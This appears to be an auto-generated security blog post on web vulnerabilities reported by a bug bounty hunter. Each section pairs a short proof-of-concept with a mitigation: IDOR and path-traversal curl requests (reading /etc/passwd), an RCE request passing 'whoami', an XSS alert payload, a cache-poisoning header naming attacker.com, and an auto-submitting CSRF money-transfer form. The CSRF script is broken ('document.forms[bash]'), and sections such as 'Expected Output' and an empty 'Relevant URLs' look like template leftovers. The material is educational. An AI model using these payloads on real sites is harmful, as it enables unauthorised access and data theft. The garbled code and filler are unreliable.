Common Web Vulnerabilities Found in Bug Bounty Hunting

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Daniel Ferreira, a skilled Pentester and Bug Hunter, recently shared his discoveries of multiple critical vulnerabilities in paid applications, including:

  • IDORs (Insecure Direct Object References)
  • Business Logic Issues
  • RCE (Remote Code Execution)
  • Path Traversals
  • Reflected XSS (Cross-Site Scripting)
  • Stored XSS
  • Cache Poisoning
  • CSRF (Cross-Site Request Forgery)

These findings highlight the importance of thorough security testing in modern web applications.

You Should Know: How to Test and Exploit These Vulnerabilities

1. IDOR (Insecure Direct Object Reference)

Example: Accessing another user’s data by manipulating an ID in the URL.

Testing Command (curl):

curl -X GET "http://example.com/profile?user_id=123" -H "Cookie: session=valid_session"

Mitigation: Implement proper access controls and use UUIDs instead of sequential IDs.

2. Remote Code Execution (RCE)

Testing Command (Python Exploit):

import requests 
url = "http://vulnerable-site.com/run?cmd=whoami" 
response = requests.get(url) 
print(response.text)

Mitigation: Sanitize user inputs and disable dangerous functions like eval().

3. Path Traversal

Testing Command:

curl "http://example.com/load?file=../../../../etc/passwd"

Mitigation: Normalize paths and restrict file access to safe directories.

4. Reflected & Stored XSS

Testing Payload:

<script>alert('XSS')</script>

Mitigation: Use Content Security Policy (CSP) and escape user inputs.

5. Cache Poisoning

Testing Command:

curl -H "X-Forwarded-Host: attacker.com" http://victim.com

Mitigation: Disable caching for sensitive endpoints.

6. CSRF (Cross-Site Request Forgery)

Testing (HTML Exploit):


<form action="http://bank.com/transfer" method="POST"> 
<input type="hidden" name="amount" value="1000"> 
<input type="hidden" name="to" value="attacker"> 
</form>

<script>document.forms[bash].submit();</script>

Mitigation: Use CSRF tokens and SameSite cookies.

What Undercode Say

Web applications remain vulnerable to critical flaws due to improper input validation and weak security controls. Bug bounty hunters like Daniel Ferreira play a crucial role in identifying these issues before malicious actors exploit them.

Expected Output:

  • A list of vulnerabilities with PoC (Proof of Concept) commands.
  • Mitigation techniques for developers.
  • Increased awareness of web security risks.

Prediction

As web applications grow more complex, vulnerabilities like RCE, IDOR, and XSS will continue to dominate bug bounty programs. Automation in security testing (using tools like Burp Suite, OWASP ZAP) will become essential for both attackers and defenders.

Relevant URLs:

Would you like a deeper dive into any specific vulnerability? 🚀

IT/Security Reporter URL:

Reported By: Daniel Ferreira – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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